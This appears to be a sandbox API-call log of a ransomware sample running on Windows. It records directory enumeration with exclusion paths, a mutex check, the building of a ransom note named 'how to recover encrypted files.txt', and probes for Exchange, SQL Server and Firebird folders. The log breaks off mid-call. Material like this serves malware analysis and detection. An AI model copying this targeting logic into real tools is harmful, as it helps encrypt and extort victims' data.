GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.868] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.868] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.868] GlobalUnlock (hMem=0x440004) returned 0 [0056.868] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.868] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.868] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.868] GlobalUnlock (hMem=0x440004) returned 0 [0056.868] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.868] GlobalUnlock (hMem=0x44000c) returned 0 [0056.868] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.869] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.869] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.869] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0056.869] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0056.869] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0056.869] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0056.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\en-US\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\en-us\\") returned 0x2b [0056.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0056.870] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.870] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.870] GlobalUnlock (hMem=0x44000c) returned 0 [0056.870] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.870] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.870] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.870] GlobalUnlock (hMem=0x44000c) returned 0 [0056.870] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.870] GlobalUnlock (hMem=0x440004) returned 0 [0056.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.870] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.870] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0056.870] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.870] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.871] GlobalLock (hMem=0x440004) returned 0x550170 [0056.871] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.871] GlobalUnlock (hMem=0x440004) returned 0 [0056.871] GlobalLock (hMem=0x440004) returned 0x550170 [0056.871] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.871] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.871] GlobalUnlock (hMem=0x440004) returned 0 [0056.871] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.871] GlobalUnlock (hMem=0x44000c) returned 0 [0056.871] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.871] CharLowerBuffW (in: lpsz="wab32res.dll.mui", cchLength=0x10 | out: lpsz="wab32res.dll.mui") returned 0x10 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui", cchWideChar=59, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui", lpUsedDefaultChar=0x0) returned 59 [0056.872] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0056.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiUS\\wab32res.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0056.872] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0056.872] GetLastError () returned 0x12 [0056.872] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.872] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.872] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.872] GlobalUnlock (hMem=0x44000c) returned 0 [0056.872] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.872] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.872] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.872] GlobalUnlock (hMem=0x44000c) returned 0 [0056.872] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.872] GlobalUnlock (hMem=0x440004) returned 0 [0056.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.872] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.872] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.872] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.873] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.873] GlobalUnlock (hMem=0x440004) returned 0 [0056.873] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.873] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.873] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.873] GlobalUnlock (hMem=0x440004) returned 0 [0056.873] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.873] GlobalUnlock (hMem=0x44000c) returned 0 [0056.873] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.873] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.873] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.873] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.873] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.873] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.873] GlobalUnlock (hMem=0x44000c) returned 0 [0056.873] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.873] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.873] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.873] GlobalUnlock (hMem=0x44000c) returned 0 [0056.873] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.873] GlobalUnlock (hMem=0x440004) returned 0 [0056.873] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.873] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0056.873] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.873] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.873] GlobalLock (hMem=0x440004) returned 0x550170 [0056.873] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.873] GlobalUnlock (hMem=0x440004) returned 0 [0056.873] GlobalLock (hMem=0x440004) returned 0x550170 [0056.874] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.874] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.874] GlobalUnlock (hMem=0x440004) returned 0 [0056.874] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.874] GlobalUnlock (hMem=0x44000c) returned 0 [0056.874] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.874] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0056.874] GetLastError () returned 0x12 [0056.874] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.874] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0056.874] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.874] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.874] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.874] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.874] GlobalUnlock (hMem=0x44000c) returned 0 [0056.874] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.874] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.874] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.874] GlobalUnlock (hMem=0x44000c) returned 0 [0056.874] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.874] GlobalUnlock (hMem=0x440004) returned 0 [0056.875] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.875] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.875] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.875] GlobalUnlock (hMem=0x440004) returned 0 [0056.875] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.875] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.875] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.875] GlobalUnlock (hMem=0x440004) returned 0 [0056.875] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.875] GlobalUnlock (hMem=0x44000c) returned 0 [0056.875] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.875] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\System\\msadc", len=0x2a | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\System\\msadc") returned 1 [0056.875] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.875] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.875] GlobalUnlock (hMem=0x44000c) returned 0 [0056.875] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.875] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.875] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.875] GlobalUnlock (hMem=0x44000c) returned 0 [0056.875] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.875] GlobalUnlock (hMem=0x440004) returned 0 [0056.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@化U勪U企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.892] GetLastError () returned 0x3 [0056.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0056.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@劔U企@\x18권Q\x181")) returned 0xffffffff [0056.894] GetLastError () returned 0x2 [0056.894] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0056.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@锴R企@\x18?T\x18;")) returned 0xffffffff [0056.896] GetLastError () returned 0x2 [0056.896] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\", cchLength=0x2b | out: lpsz="c:\\program files\\common files\\system\\msadc\\") returned 0x2b [0056.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 